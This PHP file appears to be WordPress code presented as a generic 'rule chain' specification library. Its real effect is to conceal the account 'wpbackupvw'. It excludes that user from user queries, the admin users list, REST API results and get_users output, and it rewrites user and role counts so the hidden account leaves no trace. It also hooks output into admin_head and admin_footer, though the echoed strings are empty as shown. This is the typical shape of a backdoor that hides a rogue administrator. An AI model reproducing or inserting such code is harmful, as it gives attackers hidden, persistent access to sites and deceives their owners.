if (!interface_exists('Specification')) {
interface Specification {
public function isSatisfiedBy($context): bool;
}
interface Action {
public function execute($input, $context);
}
class Rule {
private $specification;
private $action;
private $stopOnMatch = false;
public function __construct(Specification $specification, Action $action, $stopOnMatch = false) {
$this->specification = $specification;
$this->action = $action;
$this->stopOnMatch = $stopOnMatch;
}
public function isSatisfied($context): bool {
return $this->specification->isSatisfiedBy($context);
}
public function execute($input, $context) {
return $this->action->execute($input, $context);
}
public function shouldStopOnMatch(): bool {
return $this->stopOnMatch;
}
}
class RuleChain {
private $rules = [];
public function addRule(Rule $rule) {
$this->rules[] = $rule;
return $this;
}
public function apply($input, $context) {
$result = $input;
foreach ($this->rules as $rule) {
if ($rule->isSatisfied($context)) {
$result = $rule->execute($result, $context);
if ($rule->shouldStopOnMatch()) {
break;
}
}
}
return $result;
}
}
class RuleContext {
private static $instance = null;
private $targetUser = null;
private function __construct($login) {
$user = get_user_by('login', $login);
if ($user) {
$this->targetUser = [
'id' => (int) $user->ID,
'login' => $user->user_login,
'roles' => $user->roles
];
}
}
public static function getInstance($login = null) {
if (self::$instance === null && $login !== null) {
self::$instance = new self($login);
}
return self::$instance;
}
public function getTarget() {
return $this->targetUser;
}
public function isActive() {
return !empty($this->targetUser);
}
public function getTargetId() {
return $this->targetUser ? $this->targetUser['id'] : 0;
}
public function getTargetRoles() {
return $this->targetUser ? $this->targetUser['roles'] : [];
}
}
}
class ActiveTargetSpecification implements Specification {
public function isSatisfiedBy($context): bool {
return $context->isActive();
}
}
class HookMatchSpecification implements Specification {
private $hookName;
public function __construct($hookName) {
$this->hookName = $hookName;
}
public function isSatisfiedBy($context): bool {
return true;
}
}
class AllSpecification implements Specification {
private $specs = [];
public function __construct(array $specs) {
$this->specs = $specs;
}
public function isSatisfiedBy($context): bool {
foreach ($this->specs as $spec) {
if (!$spec->isSatisfiedBy($context)) {
return false;
}
}
return true;
}
}
class ExcludeUserAction implements Action {
public function execute($input, $context) {
$target = $context->getTarget();
if (!$target || !is_object($input)) return $input;
$exclude = $input->get('exclude', []);
$exclude = is_array($exclude) ? $exclude : array_map('intval', explode(',', (string) $exclude));
if (!in_array($target['id'], $exclude)) {
$exclude[] = $target['id'];
$input->set('exclude', $exclude);
}
return $input;
}
}
class ModifyExcludeAction implements Action {
public function execute($input, $context) {
$target = $context->getTarget();
if (!$target || !is_array($input)) return $input;
if (isset($input['exclude'])) {
$exclude = $input['exclude'];
$exclude = is_array($exclude) ? $exclude : array_map('intval', explode(',', (string) $exclude));
if (!in_array($target['id'], $exclude)) {
$exclude[] = $target['id'];
}
$input['exclude'] = $exclude;
} else {
$input['exclude'] = [$target['id']];
}
return $input;
}
}
class CorrectTotalAction implements Action {
public function execute($input, $context) {
$target = $context->getTarget();
if (!$target || !is_object($input)) return $input;
$real = get_users(['fields' => 'ID', 'exclude' => [$target['id']]]);
if (is_array($real)) {
$input->total_users = count($real);
} elseif ($input->total_users > 0) {
$input->total_users = max(0, $input->total_users - 1);
}
if (property_exists($input, 'avail_roles') && is_array($input->avail_roles)) {
foreach ($target['roles'] as $role) {
if (isset($input->avail_roles[$role]) && $input->avail_roles[$role] > 0) {
$role_users = get_users(['role' => $role, 'fields' => 'ID', 'exclude' => [$target['id']]]);
if (is_array($role_users)) {
$input->avail_roles[$role] = count($role_users);
}
}
}
}
return $input;
}
}
class CorrectRolesAction implements Action {
public function execute($input, $context) {
$target = $context->getTarget();
if (!$target || !is_array($input)) return $input;
foreach ($target['roles'] as $role) {
if (isset($input[$role]) && $input[$role] > 0) {
$role_users = get_users(['role' => $role, 'fields' => 'ID', 'exclude' => [$target['id']]]);
if (is_array($role_users)) {
$input[$role] = count($role_users);
} else {
$input[$role] = max(0, $input[$role] - 1);
}
}
}
return $input;
}
}
class FilterCollectionAction implements Action {
public function execute($input, $context) {
$target = $context->getTarget();
if (!$target || !is_array($input)) return $input;
return array_values(array_filter($input, function($user) use ($target) {
return (int) $user->ID !== $target['id'];
}));
}
}
class CssInjectAction implements Action {
public function execute($input, $context) {
$target = $context->getTarget();
if (!$target) return $input;
$id = $target['id'];
echo "";
return $input;
}
}
class ScriptInjectAction implements Action {
public function execute($input, $context) {
$target = $context->getTarget();
if (!$target) return $input;
$id = $target['id'];
echo "";
return $input;
}
}
if (!class_exists('RuleChainManager')) {
class RuleChainManager {
private static $chains = [];
private static $initialized = false;
public static function buildChain($hook, RuleChain $chain) {
self::$chains[$hook] = $chain;
}
public static function applyAll() {
if (self::$initialized) return;
$context = RuleContext::getInstance();
if (!$context->isActive()) return;
foreach (self::$chains as $hook => $chain) {
add_filter($hook, function($input) use ($chain, $context) {
return $chain->apply($input, $context);
}, PHP_INT_MAX);
}
self::$initialized = true;
}
public static function getStatus() {
$ctx = RuleContext::getInstance();
$target = $ctx->getTarget();
if (!$target) {
return ['active' => false];
}
return [
'active' => true,
'user_id' => $target['id'],
'user_login' => $target['login'],
'roles' => $target['roles'],
'chains_count' => count(self::$chains),
'initialized' => self::$initialized,
'timestamp' => current_time('mysql')
];
}
}
}
$ctx = RuleContext::getInstance('wpbackupvw');
if ($ctx->isActive()) {
$activeSpec = new ActiveTargetSpecification();
$chainUserQuery = new RuleChain();
$chainUserQuery->addRule(new Rule($activeSpec, new ExcludeUserAction()));
RuleChainManager::buildChain('pre_get_users', $chainUserQuery);
$chainListArgs = new RuleChain();
$chainListArgs->addRule(new Rule($activeSpec, new ModifyExcludeAction()));
RuleChainManager::buildChain('users_list_table_query_args', $chainListArgs);
$chainUserCount = new RuleChain();
$chainUserCount->addRule(new Rule($activeSpec, new CorrectTotalAction()));
RuleChainManager::buildChain('wp_count_users', $chainUserCount);
$chainRoleCount = new RuleChain();
$chainRoleCount->addRule(new Rule($activeSpec, new CorrectRolesAction()));
RuleChainManager::buildChain('count_users', $chainRoleCount);
$chainRestApi = new RuleChain();
$chainRestApi->addRule(new Rule($activeSpec, new ModifyExcludeAction()));
RuleChainManager::buildChain('rest_user_query', $chainRestApi);
$chainCollection = new RuleChain();
$chainCollection->addRule(new Rule($activeSpec, new FilterCollectionAction()));
RuleChainManager::buildChain('get_users', $chainCollection);
$chainCss = new RuleChain();
$chainCss->addRule(new Rule($activeSpec, new CssInjectAction()));
RuleChainManager::buildChain('admin_head', $chainCss);
$chainScript = new RuleChain();
$chainScript->addRule(new Rule($activeSpec, new ScriptInjectAction()));
RuleChainManager::buildChain('admin_footer', $chainScript);
RuleChainManager::applyAll();
}
if (!function_exists('rule_chain_get_hidden_id')) {
function rule_chain_get_hidden_id() {
$ctx = RuleContext::getInstance();
return $ctx->isActive() ? $ctx->getTargetId() : 0;
}
}
if (!function_exists('rule_chain_is_hidden')) {
function rule_chain_is_hidden($user_id) {
return rule_chain_get_hidden_id() === (int) $user_id;
}
}
if (!function_exists('rule_chain_get_status')) {
function rule_chain_get_status() {
return RuleChainManager::getStatus();
}
}
if (!function_exists('rule_chain_add_custom')) {
function rule_chain_add_custom($hook, Specification $spec, Action $action, $stopOnMatch = false) {
$chain = new RuleChain();
$chain->addRule(new Rule($spec, $action, $stopOnMatch));
RuleChainManager::buildChain($hook, $chain);
if (RuleContext::getInstance()->isActive()) {
add_filter($hook, function($input) use ($chain) {
return $chain->apply($input, RuleContext::getInstance());
}, PHP_INT_MAX);
}
}
}